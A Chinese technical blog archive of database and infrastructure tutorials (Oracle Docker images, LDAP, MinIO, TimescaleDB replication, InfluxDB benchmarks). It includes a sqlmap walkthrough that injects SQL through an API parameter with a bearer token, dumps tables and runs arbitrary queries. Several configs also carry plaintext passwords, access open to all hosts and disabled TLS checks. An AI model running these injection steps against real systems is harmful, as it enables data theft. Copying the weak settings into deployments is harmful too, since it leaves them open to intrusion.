Category Archive : 数据库相关

生成oracle客户端docker镜像的两种玩法

背景

我们的oracle服务端是oracle12g版本,应用程序均由golang或者python编写,运行在k8s 容器里,那我们就需要build一些docker容器来,那如何build呢?可以参考以下我的方法。文章最后有我编写过程中的参考文章,也可以根据参考文章自己创新。

玩法1:参考oracle官方文档制作

1.下载代码https://github.com/oracle/docker-images.git 到本地

2.进入OracleInstantClient/oraclelinux8/21/目录,该目录下有一个原始的dockerfile文件,可以使用该文件build一个基础镜像,例如

docker build --pull -t oracle/instantclient:21 .

使用build出来的这个oracle/instantclient:21镜像可以二次进行dockerfile编辑加入golang或者python。

也可以用这个oracle/instantclient:21来测试一下oracle数据库是否能正常连接。测试连接命令如下:

docker run -ti --rm oracle/instantclient:21 sqlplus 用户名/密码@数据库IP:数据库端口/数据库名

玩法2:从debian开始制作一个镜像

除了上面的方法外,我们还可以从debian开始制作一个包含python的镜像

1.进入oracle客户端下载页https://www.oracle.com/database/technologies/instant-client/linux-x86-64-downloads.html

2.下载https://download.oracle.com/otn_software/linux/instantclient/218000/instantclient-basic-linux.x64-21.8.0.0.0dbru.zip到本地,如下图

3.编写Dockerfile,以debian+oracle+python举例

FROM debian:11-slim

LABEL maintainer="zhenwei.li <zhenwei.li@sfere-elec.com>"
RUN set -eux \
    && sed -i "s@http://ftp.debian.org@https://repo.huaweicloud.com@g" /etc/apt/sources.list \
    && sed -i "s@http://security.debian.org@https://repo.huaweicloud.com@g" /etc/apt/sources.list \
    && apt-get update \
    && apt-get install -y -q libaio1 unzip python3 pip
    && pip install cx_Oracle

# 清理垃圾
RUN set -eux \
    && apt-get clean \
    && rm -rf /var/lib/apt/lists/* \
    && rm -rf /tmp/*
ENV TZ=Asia/Shanghai \
    DEBIAN_FRONTEND=noninteractive

RUN ln -fs /usr/share/zoneinfo/${TZ} /etc/localtime \
    && echo ${TZ} > /etc/timezone \
    && dpkg-reconfigure --frontend noninteractive tzdata \
    && rm -rf /var/lib/apt/lists/*

COPY instantclient-basic-linux.x64-21.8.0.0.0dbru.zip /opt/oracle/instantclient-basic-linux.x64-21.8.0.0.0dbru.zip

WORKDIR /opt/oracle/

RUN unzip instantclient-basic-linux.x64-21.8.0.0.0dbru.zip

RUN sh -c "echo /opt/oracle/instantclient_21_8 > /etc/ld.so.conf.d/oracle-instantclient.conf"

RUN ldconfig

RUN useradd sfere

4. 目录下放Dockerfile和oracle客户端zip包

5. 制作镜像

docker build -t debian-oracle .

6.运行镜像,测试python连接oracle服务端可行,依次输入如下命令

docker run -ti --rm debian-oracle python
import cx_Oracle as cx
con = cx.connect('用户名', '密码', '数据库IP:数据库端口/数据库名')

参考文章

https://github.com/oracle/docker-images/tree/main/OracleInstantClient

https://csiandal.medium.com/install-oracle-instant-client-on-ubuntu-4ffc8fdfda08

SQLmap的一次实战

1.找注入点(方法可以通过owasp zap去扫描,参考https://www.yinyubo.com/?p=79


2.找到注入点后,将url记下来,例如下图


3.在linux系统里下载sqlmap工具和python

git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
apt install python -y

4.去被测网站上获取登录用的token。这里的Authorization信息用在sqlmap的head参数里


5.使用sqlmap工具获得当前数据库的schema

python sqlmap.py -u 'http://192.168.0.12:30812/api/v1/abcd?begin_at=2022-01-01+00%3A00%3A00&end_at=2022-09-07+00%3A00%3A00%27+AND+%271%27%3D%271
' --method GET  -H 'Authorization:Bearer NDJJMWJKZGITZMFHMY0ZNGY3LTG1OTQTZTRLYMVHZME1M2E4' --level 3  --current-db --answers="Y"

根据上图返回的信息,我们可以得到数据库的schema是public


6.获取到了数据库名字之后,我们再去获取数据库的表

python sqlmap.py -u 'http://192.168.0.12:30812/api/v1/abcd?begin_at=2022-01-01+00%3A00%3A00&end_at=2022-09-07+00%3A00%3A00%27+AND+%271%27%3D%271
' --method GET  -H 'Authorization:Bearer NDJJMWJKZGITZMFHMY0ZNGY3LTG1OTQTZTRLYMVHZME1M2E4' --level 3  -D public --tables --answers="Y"

7.这里我们可以看到已经获取到了数据库的所有的表了,我们任意选一张表,去获取字段

python sqlmap.py -u 'http://192.168.0.12:30812/api/v1/abcd?begin_at=2022-01-01+00%3A00%3A00&end_at=2022-09-07+00%3A00%3A00%27+AND+%271%27%3D%271
' --method GET  -H 'Authorization:Bearer NDJJMWJKZGITZMFHMY0ZNGY3LTG1OTQTZTRLYMVHZME1M2E4' --level 3  -D public -T migrations --dump --answers="Y"

8.抓到列名之后,我们根据列名,再去获取数据,比如我获取dirty 和version字段的数据

python sqlmap.py -u 'http://192.168.0.12:30812/api/v1/abcd?begin_at=2022-01-01+00%3A00%3A00&end_at=2022-09-07+00%3A00%3A00%27+AND+%271%27%3D%271
' --method GET  -H 'Authorization:Bearer NDJJMWJKZGITZMFHMY0ZNGY3LTG1OTQTZTRLYMVHZME1M2E4' --level 3  -D public -T schema_migrations -C version,id --dump --answers="Y"

9.到这里基本上就结束了,如果还想往里面执行SQL脚本的话(增删改),可以使用–sql-query语句,我这个是查询时间

python sqlmap.py -u 'http://192.168.0.12:30812/api/v1/abcd?begin_at=2022-01-01+00%3A00%3A00&end_at=2022-09-07+00%3A00%3A00%27+AND+%271%27%3D%271
' --method GET  -H 'Authorization:Bearer NDJJMWJKZGITZMFHMY0ZNGY3LTG1OTQTZTRLYMVHZME1M2E4' --sql-query="select now();" --answers="Y"

Dbeaver添加IOTDB驱动

背景

因为IOTDB官网是有说明的,但是官网的方法是从源码编译,我这边写一个简单点的方法

下面附上官网链接(也可以参考)

https://iotdb.apache.org/UserGuide/Master/Ecosystem%20Integration/DBeaver.html


下载apache-iotdb-all-in-one

https://iotdb.apache.org/Download/ 进入官网的下载页面,下载与iot-db服务端版本对应的all-in-one

解压下载文件

Dbeaver里新建驱动管理器

依次点击窗口菜单的【数据库】->【驱动管理器】->【新建】

填写iotdb的连接信息,测试连接,可以确认连接成功
JDBC URL: jdbc:iotdb://127.0.0.1:6667/
Username: root
Password: root

docker-compose快速部署LDAP

背景

开发人员一般会用到很多开发软件,例如GIT,SonarQueb,minio,rancher等程序,这么多的程序,每个程序都有自己的一套账户系统和权限肯定是不合适的,作为用户来说,我们肯定是希望同一个账户能在多个软件中登录,就像一个微信号可以玩腾讯的所有游戏。作为管理员来说,肯定是希望前端开发,后端开发,测试人员的权限是分开的,在一个地方修改,所有软件的权限都能同步变更。那我们就采用了ldap的方式来快速部署试试吧。

前提条件

ubuntu系统,安装了docker和docker-compose

架构图

docker-compose.yml内容

创建以下内容的docker-compose.yml 文件,使用docker-compose up -d 命令运行

version: '3'
 
services:
    ldap-service:
        image: osixia/openldap:1.5.0
        container_name: ldap-service
        restart: always
        hostname: ldap.zhenwei.local
        environment:
            - LDAP_ORGANISATION=zhenwei.li.Co.,Ltd.
            - LDAP_DOMAIN=域名.com
            - LDAP_ADMIN_PASSWORD=超管密码
            - LDAP_READONLY_USER=true
            - LDAP_READONLY_USER_USERNAME=lzwread
            - LDAP_READONLY_USER_PASSWORD=只读密码
            - LDAP_CONFIG_PASSWORD=只读密码
            - LDAP_TLS_VERIFY_CLIENT=never
        networks:
            server:
        ports:
          - "389:389"
          - "636:636"
        volumes:
            - /home/zhenwei/ldap/database:/var/lib/ldap
            - /home/zhenwei/ldap/config:/etc/ldap/slapd.d
    ldap-backup:
        image: osixia/openldap-backup:1.5.0
        container_name: ldap-backup
        restart: always
        environment:
            - LDAP_ORGANISATION=zhenwei.li.Co.,Ltd.
            - LDAP_BACKUP_CONFIG_CRON_EXP="0 2 * * *"
            - LDAP_DOMAIN=域名.com
            - LDAP_ADMIN_PASSWORD=超管密码
            - LDAP_READONLY_USER=true
            - LDAP_READONLY_USER_USERNAME=lzwread
            - LDAP_READONLY_USER_PASSWORD=只读密码
            - LDAP_CONFIG_PASSWORD=只读密码
        volumes:
            - /home/zhenwei/ldap/database:/var/lib/ldap
            - /home/zhenwei/ldap/config:/etc/ldap/slapd.d
            - /home/zhenwei/ldap/backup:/data/backup
        networks:
            server:
    phpldap-service:
        image: osixia/phpldapadmin:0.9.0
        container_name: phpldap-service
        restart: always
        environment:
            - PHPLDAPADMIN_LDAP_HOSTS=10.80.3.249
            - PHPLDAPADMIN_HTTPS=false
        networks:
          server:
        ports:
          - "3081:80"
        volumes:
            - /home/zhenwei/ldap/phpadmin-data:/var/www/phpldapadmin
        depends_on:
            - ldap-service
 
    ldap-ltb:
        image: accenture/adop-ldap-ltb:0.1.0
        container_name: ldap-ltb
        restart: always
        networks:
          server:
        ports:
          - "8095:80"
        environment:
            - LDAP_LTB_URL=ldap://ldap-service:389
            - LDAP_LTB_BS=dc=zhenwei.li,dc=com
            - LDAP_LTB_PWD=超管密码
            - LDAP_LTB_DN=cn=admin,dc=zhenwei.li,dc=com
        depends_on:
            - ldap-service
        volumes:
            - /home/zhenwei/ldap/ltb-config:/usr/share/self-service-password/conf
networks:
  server:
#    external: true

minio分布式裸机安装(图文并茂)

背景&架构

因为单机的minio无法扩充节点,无法使用版本功能,于是我们边开始使用minio的分布式版本,minio的分布式版本可以使用docker、kubernetes、裸机三种方式,这里我们使用裸机安装,架构如下图所示

1准备工作

4台ubuntu18的电脑,每台电脑的系统,CPU,内存,硬盘空间大小均一致。给minio用的硬盘需使用XFS格式化。挂载给minio用的硬盘到/mnt/disk目录。分别按顺序配置了4个域名

minio1.sfere.local  minio2.sfere.local minio3.sfere.local minio4.sfere.local

编者注:这里我与官网略有不同,我每个服务器只有一块硬盘给挂载,官网是每个服务器给4块硬盘挂载

1个安装了nginx的服务器,域名是minio.sfere.local

编者注:如果你没有域名,你可以在这5台机器里的hosts文件里把5个地址加上,再在你的测试机器的hosts里上加上这5个地址


2.安装minio程序(4台电脑均进行一样的操作)

1.进入官网的下载链接,下载一个最新的deb文件https://dl.min.io/server/minio/release/linux-amd64/ 

例如我下载的 是 https://dl.min.io/server/minio/release/linux-amd64/minio_20211124231933.0.0_amd64.deb

2.把最新文件放到4台服务器上,使用dpkg命令安装 

3.sudo vi /etc/systemd/system/minio.service 注释掉ProtectProc=invisible 。这个是kernel 5.8之后才加入的,我们的ubuntu18系统不支持

4.添加minio-user用户和用户组。注意:此处与官网略有不同,官网打错字了把minio-user打成了miniouser

sudo groupadd -r minio-user
sudo useradd -M -r -g minio-user minio-user
sudo chown minio-user:minio-user /mnt/disk

5.创建环境变量文件

sudo nano /etc/default/minio

# Set the hosts and volumes MinIO uses at startup
# The command uses MinIO expansion notation {x...y} to denote a
# sequential series.
#
# The following example covers four MinIO hosts
# with 4 drives each at the specified hostname and drive locations.
 
MINIO_VOLUMES="http://minio{1...4}.sfere.local/mnt/disk/minio"
 
# Set all MinIO server options
#
# The following explicitly sets the MinIO Console listen address to
# port 9001 on all network interfaces. The default behavior is dynamic
# port selection.
 
MINIO_OPTS="--console-address :9001"
 
# Set the root username. This user has unrestricted permissions to
# perform S3 and administrative API operations on any resource in the
# deployment.
#
# Defer to your organizations requirements for superadmin user name.
 
MINIO_ROOT_USER=minioadmin
 
# Set the root password
#
# Use a long, random, unique string that meets your organizations
# requirements for passwords.
 
MINIO_ROOT_PASSWORD=sfere!lzw!2021
 
# Set to the URL of the load balancer for the MinIO deployment
# This value *must* match across all MinIO servers. If you do
# not have a load balancer, set this value to to any *one* of the
# MinIO hosts in the deployment as a temporary measure.
# nginx服务器地址
MINIO_SERVER_URL="http://minio.sfere.local"
 
MINIO_IDENTITY_LDAP_TLS_SKIP_VERIFY=on
MINIO_IDENTITY_LDAP_SERVER_INSECURE=on
MINIO_IDENTITY_LDAP_STS_EXPIRY=24h
MINIO_IDENTITY_LDAP_SERVER_ADDR=${LDAP域名}
MINIO_IDENTITY_LDAP_LOOKUP_BIND_DN=${LDAP只读账户}
MINIO_IDENTITY_LDAP_LOOKUP_BIND_PASSWORD=${LDAP只读账户的密码}
MINIO_IDENTITY_LDAP_USER_DN_SEARCH_BASE_DN=${LDAP用户搜索域}
MINIO_IDENTITY_LDAP_USER_DN_SEARCH_FILTER=(&(objectClass=inetOrgPerson)(uid=%s))
MINIO_IDENTITY_LDAP_GROUP_SEARCH_BASE_DN=${LDAP组搜索域}
MINIO_IDENTITY_LDAP_GROUP_SEARCH_FILTER=(&(objectclass=groupOfUniqueNames))

6. 运行minio服务,检查运行是否成功

sudo systemctl start minio.service
sudo systemctl status minio.service
journalctl -f -u minio.service

nginx配置

在/etc/nginx/conf.d目录下添加一个minio.conf

upstream minio {
    server minio1.sfere.local:9000;
    server minio2.sfere.local:9000;
    server minio3.sfere.local:9000;
    server minio4.sfere.local:9000;
}
 
upstream console {
    ip_hash;
    server minio1.sfere.local:9001;
    server minio2.sfere.local:9001;
    server minio3.sfere.local:9001;
    server minio4.sfere.local:9001;
}
 
server {
        listen       80;
        listen  [::]:80;
        server_name  minio.sfere.local;
 
        # To allow special characters in headers
        ignore_invalid_headers off;
        # Allow any size file to be uploaded.
        # Set to a value such as 1000m; to restrict file size to a specific value
        client_max_body_size 0;
        # To disable buffering
        proxy_buffering off;
 
        location / {
            proxy_set_header Host $http_host;
            proxy_set_header X-Real-IP $remote_addr;
            proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
            proxy_set_header X-Forwarded-Proto $scheme;
 
            proxy_connect_timeout 300;
            # Default is HTTP/1, keepalive is only enabled in HTTP/1.1
            proxy_http_version 1.1;
            proxy_set_header Connection "";
            chunked_transfer_encoding off;
 
            proxy_pass http://minio;
        }
}
server {
        listen       9001;
        listen  [::]:9001;
        server_name  minio.sfere.local;
 
        # To allow special characters in headers
        ignore_invalid_headers off;
        # Allow any size file to be uploaded.
        # Set to a value such as 1000m; to restrict file size to a specific value
        client_max_body_size 0;
        # To disable buffering
        proxy_buffering off;
 
        location / {
            proxy_set_header Host $http_host;
            proxy_set_header X-Real-IP $remote_addr;
            proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
            proxy_set_header X-Forwarded-Proto $scheme;
            proxy_set_header X-NginX-Proxy true;
 
            # This is necessary to pass the correct IP to be hashed
            real_ip_header X-Real-IP;
 
            proxy_connect_timeout 300;
 
            # To support websocket
            proxy_http_version 1.1;
            proxy_set_header Upgrade $http_upgrade;
            proxy_set_header Connection "upgrade";
 
            chunked_transfer_encoding off;
 
            proxy_pass http://console;
        }
}

使用mc客户端添加ldap超管,普通用户

docker run --rm -it --entrypoint=/bin/sh minio/mc
 
mc config host add minio http://minio.sfere.local minioadmin 'sfere!lzw!2021' --api S3v4
  
mc admin policy list minio
  
mc admin policy set minio consoleAdmin user=cn=李镇伟,ou=test-department,ou=NJ-Dev,ou=SFERE-RD,dc=sfere-elec,dc=com
mc admin policy set minio readwrite group=cn=jira-software-users,dc=sfere-elec,dc=com
mc admin policy set minio consoleAdmin group=cn=超级用户,dc=sfere-elec,dc=com

访问页面

访问http://minio.sfere.local/ 会自动跳转到http://minio.sfere.local:9001/login

参考文章

https://docs.min.io/minio/baremetal/installation/deploy-minio-distributed.html

docker版Minio接入LDAP

背景

因为官网的LDAP文档接入写的过于分散,实在不利于新手部署,所以重新整理了一版,方便用户能一次部署完成

docker 运行一个minio 服务端

1.首先我们使用docker运行一个新版本的minio。主要是设置minio的root用户名密码(以前叫AccessKey和secrestKey),LDAP服务端信息

2.注意下面运行命令中${}的替换成你自己的LDAP服务信息

docker run --rm -p 7000:9000 -p 7001:7001 --name minio1 \
  -e "MINIO_ROOT_USER=minio" \
  -e "MINIO_ROOT_PASSWORD=minio123" \
  -e "MINIO_IDENTITY_LDAP_TLS_SKIP_VERIFY=on" \
  -e "MINIO_IDENTITY_LDAP_SERVER_INSECURE=on" \
  -e "MINIO_IDENTITY_LDAP_STS_EXPIRY=24h" \
  -e "MINIO_IDENTITY_LDAP_SERVER_ADDR=${LDAP域名}" \
  -e "MINIO_IDENTITY_LDAP_LOOKUP_BIND_DN=${LDAP只读账户}" \
  -e "MINIO_IDENTITY_LDAP_LOOKUP_BIND_PASSWORD=${LDAP只读账户的密码}" \
  -e "MINIO_IDENTITY_LDAP_USER_DN_SEARCH_BASE_DN=${LDAP用户搜索域}" \
  -e "MINIO_IDENTITY_LDAP_USER_DN_SEARCH_FILTER=(&(objectClass=inetOrgPerson)(uid=%s))" \
  -e "MINIO_IDENTITY_LDAP_GROUP_SEARCH_BASE_DN=${LDAP组搜索域}" \
  -e "MINIO_IDENTITY_LDAP_GROUP_SEARCH_FILTER=(&(objectclass=groupOfUniqueNames)(uniquemember=%d))" \
  minio/minio:RELEASE.2021-11-24T23-19-33Z server /data --console-address ":7001"

docker 运行一个minio 客户端

1.运行minio客户端,并进入容器内

docker run -it --entrypoint=/bin/sh minio/mc

2.设置客户端到服务端的连接信息

mc config host add minio http://${服务器IP}:7000 minio minio123 --api S3v4

3.检查minio服务端的权限列表

mc config host add minio http://${服务器IP}:7000 minio minio123 --api S3v4

4.设置用户权限或者组权限

mc admin policy set minio consoleAdmin user=cn=李镇伟,ou=XXX,ou=XXX,ou=XXX,dc=XXX
mc admin policy set minio consoleAdmin group=cn=南京测试部,dc=XXX

打开浏览器,使用ldap账户登录

这里我设置的是超管用户,所以可以看到所有的功能


python使用ldap账户接入minio,下载文件

from progress.bar import Bar
import threading
from minio import Minio
import zipfile
import os
import time
from minio.credentials import LdapIdentityProvider

# STS endpoint 一般来说就是 MinIO server的地址
sts_endpoint = "minio.lzw.local"

# LDAP username.
ldap_username = "ldap用户名"

# LDAP password.
ldap_password = "ldap密码"

provider = LdapIdentityProvider(sts_endpoint, ldap_username, ldap_password)

# 如果是http的注意secure=False,使用上面的ldap信息
client = Minio(sts_endpoint,secure=False, credentials=provider)

# 测试下载一个文件玩玩,加一个进度条
bucket_name="bucket名字"

object_name="object名字"

get_object_with_progress(client, bucket_name, object_name)

def get_object_with_progress(client, bucket_name, object_name):
    try:
        data = client.get_object(bucket_name, object_name)
        total_length = int(data.headers.get('content-length'))
        bar = Bar(object_name, max=total_length / 1024 / 1024, fill='*', check_tty=False,
                  suffix='%(percent).1f%% - %(eta_td)s')
        with open('./' + object_name, 'wb') as file_data:
            for d in data.stream(1024 * 1024):
                bar.next(1)
                file_data.write(d)
        bar.finish()
    except Exception as err:
        print(err)


class ProgressThread(threading.Thread):
    def __init__(self, name):
        threading.Thread.__init__(self)
        self.name = name

    def run(self):
        print("开始下载文件:" + self.name)
        global download_flag
        max_number = 100
        bar = Bar(self.name, max=max_number, check_tty=False)
        for i in range(max_number):
            # Do some work
            if download_flag is False:
                bar.next(max_number - i)
                bar.finish()
                break
            else:
                time.sleep(2)
                bar.next()
        print("\n文件下载完成:" + self.name)

timescaleDB双机热备流复制与测试

背景

最近有项目要用到热备功能,timescaledb只能兼容pg的流复制,不能兼容其他的复制策略,所以这里我们采用pg的流复制功能镜像部署,并进行了一些测试


timescaleDB安装(两台机器都安装)

1.添加postgresql源

echo "deb http://apt.postgresql.org/pub/repos/apt/ $(lsb_release -c -s)-pgdg main" | sudo tee /etc/apt/sources.list.d/pgdg.list
wget --quiet -O - https://www.postgresql.org/media/keys/ACCC4CF8.asc | sudo apt-key add -
sudo apt-get update

2.安装timescaledb

sudo add-apt-repository ppa:timescale/timescaledb-ppa
sudo apt-get update
sudo apt install timescaledb-1.7.5-postgresql-11

3.安装postgis

sudo apt install postgresql-11-postgis-2.5

4.进行数据库调优

sudo timescaledb-tune -yes

5.创建一个300M的占位文件,避免数据库占满硬盘空间,系统无法调试

dd if=/dev/zero of=./useless-placeholder bs=1M count=300

timescaledb流复制配置(主节点配置)

修改配置文件sudo nano /etc/postgresql/11/main/postgresql.conf

 
# postgresql.conf
wal_level = replica
max_wal_senders = 16                      # 最多多少各流复制链接
wal_keep_segments = 256                   # 流复制保留最多的xlog数
wal_sender_timeout = 60s                  # 流复制主机发送数据超时时间
max_connections = 1000                    # 从库的max_connections必须大于主库的
 
full_page_writes = on                     # 使用pg_rewind命令同步数据库要用
wal_log_hints = on                        # 使用pg_rewind命令同步数据库要用
hot_standby = on                          # 使用pg_rewind命令同步数据库要用
 
listen_addresses = '*'                    # 修改监听
archive_mode = on                         # 开启归档模式
archive_command = 'arch.sh %f %p'

创建replica用户,密码replica123

sudo -u postgres psql
CREATE ROLE replica login replication encrypted password 'replica123';

在/var/lib/postgresql/11/main创建arch.sh,用于定时删除超过7天的归档文件内容如下


PGDATA=/var/lib/postgresql/11/main
#test ! -f $PGDATA/arch/$1 && cp -r --preserve=timestamps $2 $PGDATA/arch/$1 ; find $PGDATA/arch/ -type f -mtime +1 -exec rm -f {} \;
test ! -f $PGDATA/arch/$1 && cp -r --preserve=timestamps $2 $PGDATA/arch/$1 ;
# 一天的日志量太大,还是删除最近20个的吧
num=`ls -l $PGDATA/arch | grep '^-' | wc -l`
cd $PGDATA/arch
if [ $num -gt 20 ];
then
 #计算超过5个多少
 num=`expr $num - 20`
 clean=`ls -tr | head -$num | xargs`
 echo "will delete file:"
 echo ${clean}
 #-n1 每次处理1个文件
 ls -tr | head -$num | xargs -i -n1 rm -rf {}
fi

在/var/lib/postgresql/11/main创建arch目录,赋权给arch和arch.sh

mkdir /var/lib/postgresql/11/main/arch
chown -R postgres:postgres arch*

确认归档功能开启

root@database-master:/var/lib/postgresql/11/main# ps -ef|grep archiver
postgres 29921 29916  0 08:36 ?        00:00:00 postgres: 11/main: archiver  
root     29953 29477  0 08:36 pts/0    00:00:00 grep --color=auto archiver

配置sudo nano /etc/postgresql/11/main/pg_hba.conf

备注:192.168.0.31 是备节点的IP

# 在配置文件末尾添加
pg_hba.conf
host    all             all             0.0.0.0/0               md5
host    replication     replica         192.168.0.31/32         md5

重启数据库

sudo systemctl restart postgresql

timescaledb流复制配置(从节点配置)

配置sudo nano /etc/postgresql/11/main/pg_hba.conf

# 在配置文件末尾添加
pg_hba.conf
host    all             all             0.0.0.0/0               md5
host    replication     replica         192.168.0.31/32         md5

删除数据目录

sudo rm -rf /var/lib/postgresql/11/main
sudo pg_basebackup -D /var/lib/postgresql/11/main -Fp -Xs -v -P -h 192.168.0.30 -U replica -W

复制之后,注意设置main目录的权限为postgres


sudo chown -R postgres:postgres /var/lib/postgresql/11/main
sudo systemctl restart postgresql

在 /var/lib/postgresql/11/main 下添加recovery.conf文件,内容如下:

注意192.168.0.30是主节点的IP

standby_mode = on
primary_conninfo = 'host=192.168.0.30 port=5432 user=replica password=replica123'
recovery_target_timeline = 'latest'

修改配置文件sudo nano /etc/postgresql/11/main/postgresql.conf

# postgresql.conf
max_connections = 10000                    # 从库的max_connections必须大于主库的
max_standby_streaming_delay = 30s
wal_receiver_status_interval = 10s
hot_standby_feedback = on

full_page_writes = on                     # 使用pg_rewind命令同步数据库要用
wal_log_hints = on                        # 使用pg_rewind命令同步数据库要用
hot_standby = on                          # 使用pg_rewind命令同步数据库要用

listen_addresses = '*'

重启数据库

sudo systemctl restart postgresql

场景测试

功能说明:

主库可读可写,备库只可读。备库的数据会通过异步的方式实时从主库同步。

备库关闭,不影响主库的使用,备库重启之后,能自动从主库同步这段时间缺失的数据。

主库关闭,备库不会自动切换成主库,等主库开机之后,主备功能自动恢复。

场景1:确认foreign table可兼容双击热备

步骤1:在master机器上创建两个库,并对其中的一些表之间建立起foreign table。

步骤2:检查slver机器上也自动生成了两个库和对应的外表

步骤3:在测试环境上安装应用程序,进行sql insert操作

步骤4:检查master和slaver上的4张表数据是否一致

结论:foreign table功能能兼容双击热备,不会丢数据

场景2:在小数据量时,如果备库关闭,过一段时间再重启,会有什么后果?

步骤1:在完成场景1的情况下,修改插入频率,提高到每间隔1秒500条数据

步骤2:持续了2分钟之后,突然在slaver机器上运行systemctl stop postgresql

步骤3:master机器继续工作,master上的数据持续增加

步骤4:1小时后,在slaver机器上运行systemctl start postgresql 启动数据库

步骤5:检查slaver机器上缺少的数据是否会补充回来

结论:slaver机器关闭再重启,这段时间缺失的数据会补充回来

场景3:在大数据量时,如果备库关闭,过一段时间再重启,会有什么后果?

步骤1:在完成场景1的情况下,修改插入频率,提高到每间隔1秒500000个条数据

步骤2:持续了2分钟之后,突然在slaver机器上运行systemctl stop postgresql

步骤3:master机器继续工作,master上的数据持续增加

步骤4:1小时候在slaver机器上运行systemctl start postgresql 启动数据库

步骤5:检查slaver机器上缺少的数据是否会补充回来

结论:slaver机器关闭再重启,这段时间缺失的数据会通过wal日志补充回来,补充速度看备机的硬盘io

场景4:在大数据量时,如果主库关闭,过一段时间再重启,主备能自动恢复连接吗?

步骤1:在完成场景1的情况下,修改遥测频率,提高到每间隔30秒50000个遥测数据

步骤2:持续了一段时间之后,突然在master机器上运行systemctl stop postgresql

步骤3:此时应用程序出错,遥测无法上传

步骤4:过60分钟之后,在master机器上运行systemctl start postgresql 启动数据库

步骤5:检查连接,和主备数据库,删除和增加数据,检查是否自动同步

select client_addr,sync_state from pg_stat_replication;

结论:master机器关闭再重启,能够自动与备库建立连接,并且不影响后续使用,但是这里要注意了,如果关闭时间过长,会产生巨量的pg_wal日志,速度很快,一天可能100G+此时不能删除pg_wal日志,还是需要把备库完全起来,等备库完成了数据同步之后,通过

pg_controldata /var/lib/postgresql/11/main命令找到【Latest checkpoint location】,然后通过pg_archivecleanup -d /var/lib/postgresql/11/main/pg_wal 【Latest checkpoint location】来清理日志文件,若备库没有起来,千万不要提前删除,会导致备库数据不同步,只能通过pg_rewind重做备库。在没有出问题的情况下。pg_wal的日志会根据max_wal_size配置进行自动清理

场景5:主库关闭,备库切换成主库,原主库能改成备库吗,程序能继续使用吗?

步骤1:关闭主库systemctl stop postgresql

步骤2:在备库上linux用户切换到postgres,然后添加pg_ctl到环境变量

$ cd ~
$ vim .profile
PATH=$PATH:/usr/lib/postgresql/11/bin
export PATH
$ . ~/.profile

步骤3:在备库上输入pg_ctl promote -D /var/lib/postgresql/11/main。此时会发现/var/lib/postgresql/11/main下的recovery.conf变成了recovery.done

postgres@database-slaver:/home/sfere$ pg_ctl promote -D /var/lib/postgresql/11/main
waiting for server to promote.... done
server promoted

步骤4:在老的主库上,使用postgres用户登录,使用pg_rewind同步数据

pg_rewind -D /var/lib/postgresql/11/main --source-server='hostaddr=192.168.0.31 port=5432 user=postgres password=postgres'

步骤5:修改应用程序的数据库连接配置到新的主库,继续进行sql insert操作

结论:主库备库切换完成之后,修改应用程序数据库连接池配置,不影响后续使用

timescaledb升级

背景

使用docker安装的timescaledb与postgresQL数据库。目前我们需要升级docker镜像以及目前正在使用的数据库。单纯的更换docker镜像是行不通的,请按照如下方式进行升级。
原版本是timescale/timescaledb-postgis:1.4.0-pg11
新版本是timescale/timescaledb-postgis:1.7.4-pg11

操作步骤

1.拉取最新的镜像

docker pull timescale/timescaledb:1.7.4-pg11

2.检查老容器挂载的数据目录

$ docker inspect timescaledb --format='{{range .Mounts }}{{.Source}}{{end}}'
/path/to/data

3.删除老容器

docker stop timescaledb
docker rm timescaledb

4.使用挂载的数据目录和新拉取的镜像,创建新容器

docker run -v /path/to/data:/var/lib/postgresql/data -d --name timescaledb -p 5432:5432 timescale/timescaledb

5.更新template1的timescaledb插件(重要)
如果不更新template1的话,后续创建的所有database还是老的1.4.0插件

docker exec -it timescaledb bash
su postgres
psql template1
ALTER EXTENSION timescaledb UPDATE;

6.更新已经存在的database的timescaledb插件(重要)
对所有“已经存在的数据库”进行插件更新,不然会导致无法连接,报错如下:
ERROR: could not access file “$libdir/timescaledb-1.4.2”: No such file or directory

docker exec -it timescaledb bash
su postgres
psql 已经存在的数据库
ALTER EXTENSION timescaledb UPDATE;

记录一次我做的influxDB性能测试

InfluxDB性能测试报告
被测环境:
腾讯云

CPU 内存 带宽 版本号
4核 16G 1Gbit/s Ubuntu 4.8.4-2ubuntu1~14.04.3

 
地址:
 
被测程序:
Docker下安装的influxDB 端口8086
 
压测环境:
腾讯云

CPU 内存 带宽 版本号
2核 8G 1Gbit/s Ubuntu 4.8.4-2ubuntu1~14.04.3

 
地址:
 
测试程序:
从github上找的influxdata公司提供的两款测试工具
influx-stress 用于写入测试
influxdb-comparisons用于查询测试
 
测试场景:

写入测试
工具名称 influx-stress
 
工具github地址 https://github.com/influxdata/influx-stress
测试原理 该工具是通过go语言的fasthttp库编写的。
1.     会在服务器上创建一个数据库stress
2.     然后创建一个MEASUREMENT(类似关系数据库的表)名为ctr
该表有time,n.some三个字段
3.     不断的向stress数据库的ctr表插入数据,每次插入的数据都包含三个字段。每一条数据称为一个points。
插入数据的方法是通过influxDB的HTTP API 发送请求(POST /write?db=stress)
 
测试命令 influx-stress insert -r 60s –strict –pps 200000 –host http://10.XX.XX.XX:8086
 
测试程序运行结果
Points Per Second(发起请求) Write Throughput(points/s)
(数据库实际处理结果)
CPU平均利用率
200000 199713 33%
300000 299280 45%
400000 392873 62%
500000 491135 80%
600000 593542 90%
650000 606036 93%
700000 613791 95%

测试结论:最大的吞吐量为每秒写入60万条数据。这之后,每秒发送的points再多,吞吐量也不会增加,同时CPU利用率已达90%。
 

查询测试
工具名称 influxdb-comparisons
 
工具github地址 https://github.com/influxdata/influxdb-comparisons
测试原理 该工具是通过go语言的fasthttp库编写的。
1.     会在服务器上创建一个数据库benchmark_db
2.     然后创建9个MEASUREMENT :cpu,disk,diskio,kernel,mem,net,nginx,postgresl
每个measurement 有2160行数据。
3.     通过http GET请求”GET /query?db=benchmark_db“查询cpu这张表。
查询语句为:SELECT max(usage_user) from cpu where (hostname = ‘host_0’) and time >= ‘2016-01-01T01:16:32Z’ and time < ‘2016-01-01T02:16:32Z’ group by time(1m)
可以取出61条数据。
 
测试命令 ./bulk_query_gen -query-type “1-host-1-hr” | ./query_benchmarker_influxdb -urls http://10.XX.XX.XX:8086 -limit 1000
 
测试程序运行结果
查询命令执行次数
(-limit)
命令最短执行时间 每条命令平均执行时间 命令最大执行时间 总耗时
100 1.20ms 1.69ms 4.36ms 0.2sec
